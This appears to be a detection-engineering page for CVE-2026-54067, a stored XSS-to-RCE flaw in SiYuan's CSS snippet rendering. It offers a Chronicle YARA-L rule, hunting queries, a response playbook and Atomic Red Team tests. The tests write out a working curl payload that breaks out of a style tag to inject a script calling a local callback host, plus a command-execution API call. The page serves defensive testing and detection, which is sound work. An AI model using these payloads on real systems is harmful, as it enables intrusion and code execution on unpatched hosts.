Detect SiYuan renderSnippet() CSS-Snippet Stored XSS to RCE (CVE-2026-54067) in Google Chronicle
Detects exploitation of CVE-2026-54067, a stored XSS vulnerability in SiYuan's kernel renderSnippet() function where attacker-controlled CSS snippets can break out of <style> tag context to inject executable HTML/JS. Given SiYuan's Electron-based desktop kernel exposes privileged local APIs (file read/write, plugin execution, shell access), successful XSS can escalate to full remote code execution on the host running the SiYuan kernel/server. Detection focuses on malicious CSS snippet creation/import via the kernel HTTP API, anomalous style-tag breakout payloads, and downstream RCE indicators such as unexpected child processes spawned by the SiYuan kernel binary.
MITRE ATT&CK
YARA-L Detection Query
rule siyuan_css_snippet_xss_to_rce {
meta:
author = "df00tech"
description = "Detects CVE-2026-54067 SiYuan CSS snippet style breakout XSS attempts"
severity = "CRITICAL"
events:
$http.metadata.event_type = "NETWORK_HTTP"
$http.target.url = /snippet/ nocase
$http.network.http.method = "POST"
re.regex($http.principal.process.command_line, `(?i)(</style>|<script|onerror=|javascript:)`)
condition:
$http
}UDM-based rule matching POST requests to SiYuan snippet endpoints whose associated payload/command line contains style-tag breakout or script injection markers.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate developer traffic pushing complex CSS snippets
- Authorized pentest simulation of the exploit
- Proxy logging systems that echo raw request bodies containing benign HTML samples
Other platforms for CVE-2026-54067
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Submit CSS snippet with style breakout payload
Expected signal: HTTP POST logged to /api/setting/setSnippet containing '</style>' and '<script>' tokens in the request body
- Test 2Trigger snippet render and observe script execution
Expected signal: Browser/Electron process (siyuan.exe) network telemetry showing outbound request to the callback endpoint (e.g., 127.0.0.1:9999)
- Test 3Post-XSS local command execution via kernel API
Expected signal: Process creation event showing a shell/interpreter (sh, bash) spawned with parent process name matching siyuan kernel binary
Response Playbook
Triage
- Confirm the target SiYuan kernel/server version against the fixed commit (>= 0.0.0-20260628153353-2d5d72223df4); versions prior are vulnerable.
- Review the flagged HTTP request(s) to the setSnippet/snippet API for style-tag breakout payloads and identify the source IP, authenticated user/session, and timestamp.
- Inspect the SiYuan workspace's stored CSS snippets (Settings > Appearance > Code Snippets) for injected <style> breakout content or embedded <script>/event-handler payloads.
- Check for anomalous child processes or file writes originating from the SiYuan kernel process shortly after the suspicious snippet was rendered/loaded.
Containment
- Immediately disable or remove the malicious CSS snippet via the SiYuan admin UI or by editing the underlying snippet storage file, then restart the kernel service.
- Isolate the affected host from the network if evidence of post-XSS RCE (unexpected process execution, outbound connections) is found, and revoke any API tokens/sessions used to submit the payload.
Evidence Collection
- Export the full HTTP request/response for the malicious snippet submission, including headers, source IP, and authentication context.
- Collect the SiYuan kernel process tree, command-line history, and any files written/modified around the time of exploitation for forensic timeline reconstruction.
Escalation Criteria
- !Escalate to incident response if evidence shows the injected script executed privileged SiYuan kernel APIs (file system access, plugin execution) or spawned an OS-level shell.
- !Escalate if the affected SiYuan instance is internet-facing or multi-tenant, given the 9.9 CVSS and public PoC availability, increasing likelihood of mass exploitation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Stored CSS snippet content in the SiYuan workspace configuration/database (snippet storage table or config file) - >
Kernel process command-line and child-process tree captured via EDR/Sysmon around the exploitation timestamp - >
HTTP access logs showing POST requests to the setSnippet/snippet API endpoint with anomalous payload content
Tuning Guidance
Baseline legitimate CSS snippet authoring workflows for your organization (e.g., known theme developers, approved plugin marketplaces) and allowlist their source IPs/user accounts to reduce noise. Because the payload markers (</style>, <script, onerror=) are common in legitimate advanced theming, correlate snippet-submission alerts with subsequent anomalous process or file-write activity from the SiYuan kernel before escalating, and prioritize alerts where the submitting session is unauthenticated or from an untrusted network segment.
Hunting Queries
Proactively hunts for CSS snippet files or workspace config entries on disk containing style-breakout or script injection markers, even absent a live HTTP alert.
DeviceFileEvents
| where InitiatingProcessFileName has "siyuan"
| where FileName endswith ".css" or FolderPath has "snippet"
| where FileName has_any ("</style>","<script")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLineindex=filesystem sourcetype=siyuan* (path="*snippet*" OR path="*.css")
| regex _raw="(?i)(</style>|<script)"
| table _time, host, path, _rawAtomic Red Team Tests
Simulates an attacker submitting a malicious CSS snippet via the SiYuan kernel API that breaks out of the <style> tag context to inject a script element.
Command
curl -s -X POST 'http://127.0.0.1:6806/api/setting/setSnippet' -H 'Content-Type: application/json' -d '{"id":"test-snippet","type":"css","content":"body{color:red}</style><script>fetch(\"http://127.0.0.1:9999/poc\")</script><style>","enabled":true}'Cleanup
curl -s -X POST 'http://127.0.0.1:6806/api/setting/removeSnippet' -H 'Content-Type: application/json' -d '{"id":"test-snippet"}'Expected Telemetry
HTTP POST logged to /api/setting/setSnippet containing '</style>' and '<script>' tokens in the request body
Expected Detection
kql and spl rules alert on the snippet API payload matching breakout regex patterns
Loads the SiYuan workspace UI after the malicious snippet is stored, causing renderSnippet() to inject the payload into the DOM and execute the embedded script in the Electron/browser context.
Command
powershell -Command "Start-Process 'http://127.0.0.1:6806/' "Cleanup
Close the SiYuan browser/Electron window; remove test-snippet via API as in prior test.Expected Telemetry
Browser/Electron process (siyuan.exe) network telemetry showing outbound request to the callback endpoint (e.g., 127.0.0.1:9999)
Expected Detection
elastic_eql sequence rule and chronicle_yaral rule correlate the snippet POST with subsequent execution activity
Simulates an attacker leveraging the XSS context to invoke a privileged local SiYuan kernel API that shells out, demonstrating escalation from XSS to RCE.
Command
curl -s -X POST 'http://127.0.0.1:6806/api/system/execCommand' -H 'Content-Type: application/json' -d '{"cmd":"id"}' 2>/dev/null; echo 'simulated-if-endpoint-unavailable: bash -c id'Cleanup
No persistent changes; verify no unintended processes remain via 'ps aux | grep siyuan'.Expected Telemetry
Process creation event showing a shell/interpreter (sh, bash) spawned with parent process name matching siyuan kernel binary
Expected Detection
qradar_aql, sumo_logic, and crowdstrike_cql rules alert on siyuan-parented shell process execution